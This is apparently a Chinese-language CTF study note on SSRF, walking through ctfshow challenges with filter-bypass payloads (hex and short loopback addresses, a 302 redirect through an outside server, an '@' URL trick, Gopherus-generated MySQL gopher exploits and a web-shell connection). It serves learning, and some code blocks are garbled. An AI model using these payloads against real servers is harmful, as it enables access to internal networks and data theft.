ssrf漏洞
ssrf漏洞
自己总结的绕过方法
- 进制绕过,127进行16进制编码等
- 用特殊短地址进行绕过127.1或0.0.0.0或0.0或0可以代替127.0.0.1
- 正则表达式检验开头结尾的,用@进行分隔username和hostname
- 302跳转,在自己的服务器上写php Location代码
ssrf漏洞是什么
SSRF漏洞(Server-Side Request Forgery)是一种Web应用程序漏洞,它允许攻击者在受攻击的服务器上执行未经授权的网络请求。具体而言,攻击者可以构造一个特制的请求,在请求中指定一个外部的URL地址,然后将该请求发送给目标服务器。目标服务器接收到请求后,会认为这个请求来自于内部网络的可信源,并向指定的URL地址发起请求。由于攻击者可以任意指定这个URL地址,因此可以利用该漏洞实现多种攻击,如获取敏感信息、执行任意命令等。
SSRF漏洞通常出现在Web应用程序中,例如一个Web应用程序提供了针对用户输入URL的功能,但没有对用户输入的URL做足够的安全检查,导致攻击者可以通过构造恶意URL利用该漏洞。此外,攻击者也可以通过其他途径(如文件上传功能)来利用该漏洞。
为了防止SSRF漏洞的出现,开发人员需要对Web应用程序中的所有外部请求进行仔细的检查和过滤
-
原理
- 攻击者可以通过公网IP访问到某个web服务器
- 攻击者无法通过公网IP访问到内网的其他设备或者办公区域
- 这时候如果想要进行内网探测,web服务器同时存在ssrf漏洞,就能够以web服务器作为跳板,进而攻击其它服务器或者区域
利用条件
(1)web服务器存在SSRF漏洞;
(2)web服务器有访问本地或远程服务器的权限;
存在位置
一般是web服务器提供了从其他服务器获取数据的功能。
(1)通过URL分享网页内容
(2)在线翻译
(3)通过url对图片的加载和下载
(4)转码服务
利用实验,开启方法
ctfshow351
源码中接收了一个post传递的url参数,用hackbar去构造攻击payload
```php
url=http://127.0.0.1/flag.php3. 即可出现flag ### ctfshow352 ### parse_url函数的作用 `parse_url()` 是 PHP 语言中的一个函数,它用于解析 URL 地址并以关联数组的形式返回各个组成部分。在解析过程中,会将 URL 字符串拆分成协议名、主机名、端口号、路径、查询字符串和片段标识等多个组成部分,并分别保存到返回的关联数组中。这个函数不会对 URL 解码,所以可以被用来解析包含特殊字符的 URL。 具体而言,`parse_url()` 函数的格式为:
phpCopy Codearray parse_url ( string $url [, int $component = -1 ] )
其中,`$url` 参数是要解析的 URL 地址字符串,`$component` 参数可选,表示要返回的 URL 组件,取值范围为 `PHP_URL_SCHEME`、`PHP_URL_HOST`、`PHP_URL_PORT`、`PHP_URL_USER`、`PHP_URL_PASS`、`PHP_URL_PATH`、`PHP_URL_QUERY` 或 `PHP_URL_FRAGMENT`。如果不指定 `$component` 参数,则函数将返回包含所有 URL 组件的关联数组。 例子:
phpCopy Code$url = “https://www.example.com/test.php?id=123#section4";
$parsed_url = parse_url($url);
print_r($parsed_url);
输出结果为:
Copy CodeArray
(
[scheme] => https
[host] => www.example.com
[path] => /test.php
[query] => id=123
[fragment] => section4
)
### scheme
scheme:协议
### curl
Curl(全称为 "Client Url Library")是一个被广泛应用于互联网通信的工具和库,它支持各种传输协议,比如FTP、HTTP、SMTP等。在PHP中,curl以扩展库的形式提供,开发者可以借助curl扩展实现各种基于网络协议的操作,例如下载文件、发送HTTP请求、获取API数据等等。
常见的curl函数有:
- `curl_init()` - 初始化一个 curl 会话
- `curl_setopt()` - 设置 curl 相关选项
- `curl_exec()` - 执行 curl 会话
- `curl_close()` - 关闭curl 会话
`curl_setopt()` 函数可以设置不同的选项来定制 curl 的行为。例如:
- `CURLOPT_URL` 设置URL地址
- `CURLOPT_RETURNTRANSFER` 返回结果而不是输出到页面
- `CURLOPT_POST` 使用POST请求方式
- `CURLOPT_POSTFIELDS` POST请求提交的数据
- `CURLOPT_HEADER` 包含响应头信息
- `CURLOPT_SSL_VERIFYPEER` 是否验证证书等等
以上只是 curl 的一些基本使用方法,通过查阅Curl文档[[1](https://curl.se/docs/manpage.html)],你还可以了解到使用curl库还能够支持更多的功能比如: 代理、cookie设置、安全认证、文件上传等。
在 PHP 中,我们可以通过 curl 扩展的一系列函数来实现 curl 功能,并且这些函数具备很高的灵活性和可扩展性,可以根据不同的需求和场景完成各种网络请求操作。
#### 题目
1. 将127.0.1替换为127.0.0,127.1等都可以
2. 之前写过一个golang后端的项目,用的0.0.0.0,既包含了localhost,也包含了127.0.0.1,这里可以绕过字符过滤
3. ![](https://strongwillpro.oss-cn-beijing.aliyuncs.com/img/20230420142950.png)
### web353
1. 可以将127进行16进制编码,编码为0x7f
2. 也可以转换为其它进制
3. 127.0.0.1可以写为127.1也可以绕过
4. ```
url=http://0x7f.0.0.1/flag.php
web335
- 用127.1和0.0相同,都可以代替回环地址127.0.0.1
web356
- 用0也可以代替127.0.0.1或0.0
web357
这段代码使用PHP内置函数
filter_var()
对$ip
变量进行IP地址过滤和验证,其中FILTER_VALIDATE_IP
用于验证是否为合法的IP地址,FILTER_FLAG_NO_PRIV_RANGE
表示拒绝私有IP地址,FILTER_FLAG_NO_RES_RANGE
表示拒绝保留IP地址。具体来说,这段代码会返回$ip
变量的过滤后结果,如果$ip不是合法的公网IP地址,则返回false。这个题利用302跳转
在服务器上放以下代码
```php
5. 攻击payload 6. ``` url=http://www.ctfer.xyz/a.php
使用此url参数进行传参,可以通过访问www.ctfer.xyz下的a.php来跳转访问到内网127.0.0.1下的flag.php文件
web358
```
/^http://ctf..*show$/i3. 匹配的是以http://ctf.开头,以show结尾的 4. ```url http://ctf.@127.0.0.1/flag.php?show
使用@作为分隔符,用于指示用户名和域名之间的分界。用于url的基本身份验证,指定用户名和密码来访问资源,例如:http://username:password@example.com
类似于ssh登录目标主机一样
```
ssh [options] [username@]hostname command
ssh -p 22 username@192.168.1.100 # 使用22端口连接到主机192.168.1.100
ssh -i ~/.ssh/id_rsa user@example.com
ssh user@example.com ls -al /home/user # 登录并执行远程命令8. 使用@来分隔username和hostname ### web359 1. 工具下载地址https://github.com/tarunkant/Gopherus 2. ``` python gopherus.py --exploit mysql
然后传到check.php中post:returl=xxx,不要忘记把下划线后面的内容url编码一次
涉及到一些文件上传的知识,最后要用蚁剑去连接